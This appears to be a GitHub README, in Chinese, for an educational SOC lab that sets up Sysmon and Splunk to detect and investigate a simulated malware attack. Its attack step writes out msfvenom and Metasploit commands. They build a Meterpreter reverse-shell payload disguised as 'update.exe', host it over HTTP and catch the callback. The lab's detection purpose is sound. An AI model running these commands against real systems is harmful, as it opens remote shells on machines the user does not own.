JP13007/SOC-Investigation-Lab
GitHub: JP13007/SOC-Investigation-Lab
一个完整的 SOC 事件调查实验环境,模拟从攻击发起到检测分析的完整安全运营工作流并产出取证报告。
Stars: 0 | Forks: 0
# SOC 调查实验室:恶意软件检测与事件响应
一个实战化的安全运营中心 (SOC) 调查演示,展示了使用真实攻击模拟、Sysmon 进程监控和 Splunk SIEM 进行端到端威胁检测、分析和事件响应的过程。
## 🎯 项目概述
本实验室模拟了完整的从攻击到检测的工作流:
- **攻击者 (Kali Linux)** 生成恶意的 reverse shell payload
- **目标 (Windows 10)** 执行 payload;Sysmon 捕获每一个进程、网络连接和文件活动
- **SIEM (Splunk)** 接收并索引 Sysmon/Windows 安全日志
- **分析师** 使用 Splunk 搜索追踪事件并撰写取证报告
**结果:** 一份可直接用于生产环境的事件报告,包含时间线、IOC、MITRE ATT&CK 映射和修复建议。
## 🛠️ 架构
┌─────────────────┐ ┌──────────────────┐ ┌─────────────┐
│ Kali Linux │ │ Windows 10 │ │ Splunk │
│ 192.168.1.18 │────────▶│ 192.168.1.21 │────────▶│ Huawei │
│ │ 攻击 │ + Sysmon │ 日志 │ (SIEM) │
│ • msfvenom │ │ + Forwarder │ TCP:9997│ │
│ • Metasploit │ │ │ │ Port: 8000 │
└─────────────────┘ └──────────────────┘ └─────────────┘
## 🔍 关键发现
### 本实验室的演示内容
1. **进程监控**:Sysmon EventID 1 捕获完整的进程族谱 (父/子进程)、命令行、文件哈希
2. **网络检测**:EventID 3 记录带有源/目标 IP:port 的出站 reverse shell 回调
3. **时间线关联**:Splunk 时间戳实现了精确排序(攻击发生在约 2 秒内)
4. **UAC 边界**:演示了真实的 Windows 安全控制(失败的权限提升尝试)
5. **字段提取挑战**:基于 XML 的 Sysmon 数据需要 regex 才能在 Splunk 中正确索引
### 技术洞察
- **字段提取的怪癖**:Sysmon XML 元素(例如 ``)不会自动提取为 Splunk 字段;需要使用 `| rex field=_raw "(?\d+) "`
- **防火墙默认值**:ICMP 和 TCP:9997 都需要显式的 `netsh advfirewall` 允许规则
- **UAC 未提权**:中等完整性的 admin 无法创建账户;token 模拟 (getsystem) 在已修补的 Win10 版本上失败
## 📋 事件报告
请参阅 **[incident_report.md](./incident_report.md)** 获取完整的分析,包括:
- 执行摘要
- 带有 Sysmon 事件 ID 的详细时间线
- 妥协指标 (IOC)
- MITRE ATT&CK 映射(识别出 6 种技术)
- 检测机会
- 修复步骤
## 🚀 设置说明
### 前置条件
- VirtualBox 或 VMware Fusion
- Kali Linux ISO
- Windows 10 ISO
- 16GB+ 内存,50GB 可用磁盘空间
### 第一步:网络配置
两台虚拟机必须在同一个桥接网络上才能通信:
```
# VirtualBox: 设置 → 网络 → 桥接网卡 (选择你的 WiFi/Ethernet)
```
验证连通性:
```
# 从 Kali
ping
# 从 Win10
ping
```
### 第二步:Sysmon 与 Windows 事件日志设置
**在 Windows 10 上:**
1. 从 [Microsoft Sysinternals](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) 下载 Sysmon
2. 下载 [SwiftOnSecurity 的 sysmonconfig-export.xml](https://github.com/SwiftOnSecurity/sysmon-config)
3. 安装:
```
.\sysmon64.exe -accepteula -i sysmonconfig-export.xml
```
4. 在事件查看器 → 应用程序和服务日志 → Microsoft → Windows → Sysmon → Operational 中验证
### 第三步:Splunk 设置
**在 Splunk 机器上:**
1. 从 [splunk.com](https://www.splunk.com/en_us/download.html) 下载 Splunk 免费许可证版本
2. 配置接收端口:
- 设置 → 转发和接收 → 配置接收 → 新接收端口:9997
3. 允许防火墙:
```
netsh advfirewall firewall add rule name="Splunk Receiving 9997" protocol=TCP dir=in localport=9997 action=allow
```
### 第四步:Universal Forwarder (Windows 10)
1. 下载 [Splunk Universal Forwarder](https://www.splunk.com/en_us/download/universal-forwarder.html)
2. 使用默认选项安装;指向 indexer IP:9997
3. 创建/编辑 `C:\Program Files\SplunkUniversalForwarder\etc\system\local\inputs.conf`:
```
[WinEventLog://Security]
disabled = 0
index = wineventlogs
[WinEventLog://System]
disabled = 0
index = wineventlogs
[WinEventLog://Application]
disabled = 0
index = wineventlogs
[WinEventLog://Microsoft-Windows-Sysmon/Operational]
disabled = 0
renderXml = true
index = win_logs
```
4. 重启 SplunkForwarder 服务
### 第五步:运行攻击
**在 Kali 上:**
```
# 生成 payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe -o update.exe
# 托管它
python3 -m http.server 8080
# 在另一个终端中,启动 listener
msfconsole
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST
> set LPORT 4444
> exploit
```
**在 Windows 10 上:**
- 浏览器 → `http://:8080/update.exe`
- 下载并执行
- 观察 Meterpreter 会话开启
### 第六步:在 Splunk 中追踪
```
index=win_logs host=DESKTOP-9BB4HVN sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| rex field=_raw "(?\d+) "
| where EventID="1"
| search "update.exe"
```
## 📊 MITRE ATT&CK 覆盖范围
本实验室演示了 **6 种战术和技术**:
- T1566.001 - 钓鱼:恶意文件
- T1204.002 - 用户执行:恶意文件
- T1059.003 - 命令和脚本解释器
- T1033 - 系统信息发现
- T1087.001 - 账户发现
- T1136.001 - 创建账户(被 UAC 阻止)
## 💡 展示的技能
- SIEM 配置和日志接收 (Splunk)
- 进程监控和端点插桩 (Sysmon)
- 恶意软件模拟和利用 (Metasploit, msfvenom)
- 日志分析和威胁追踪 (regex, Splunk 查询)
- 时间线重建和事件关联
- MITRE ATT&CK 框架映射
- Windows 安全内部机制 (UAC, 权限级别, 防火墙规则)
- 为安全团队撰写技术报告
## 📁 仓库内容
SOC-Investigation-Lab/
├── incident_report.md # 完整的事件分析
├── README.md # 本文件
└── sysmon_config.xml # (可选) SwiftOnSecurity Sysmon 配置参考
## 🔐 安全提示
- 本实验室仅供在隔离网络上**用于教育目的**
- 切勿在不属于你的系统上使用此攻击模拟
- 禁用 UAC 和更改防火墙规则应仅在实验室环境中进行
- 恶意软件 payload 会被真实的防病毒软件检测到(在虚拟机中是预期且安全的)
## 📚 参考
- [Sysmon 文档](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
- [Splunk 搜索参考](https://docs.splunk.com/Documentation/Splunk/latest/SearchReference)
- [MITRE ATT&CK 框架](https://attack.mitre.org/)
- [SwiftOnSecurity Sysmon 配置](https://github.com/SwiftOnSecurity/sysmon-config)
**作者:** JP13007
**最后更新:** 2026年6月16日
**状态:** 完整的事件 → 检测 → 报告工作流
标签:IP 地址批量处理, Sysmon, URLScan, 安全运营中心, 网络映射, 自定义DNS解析器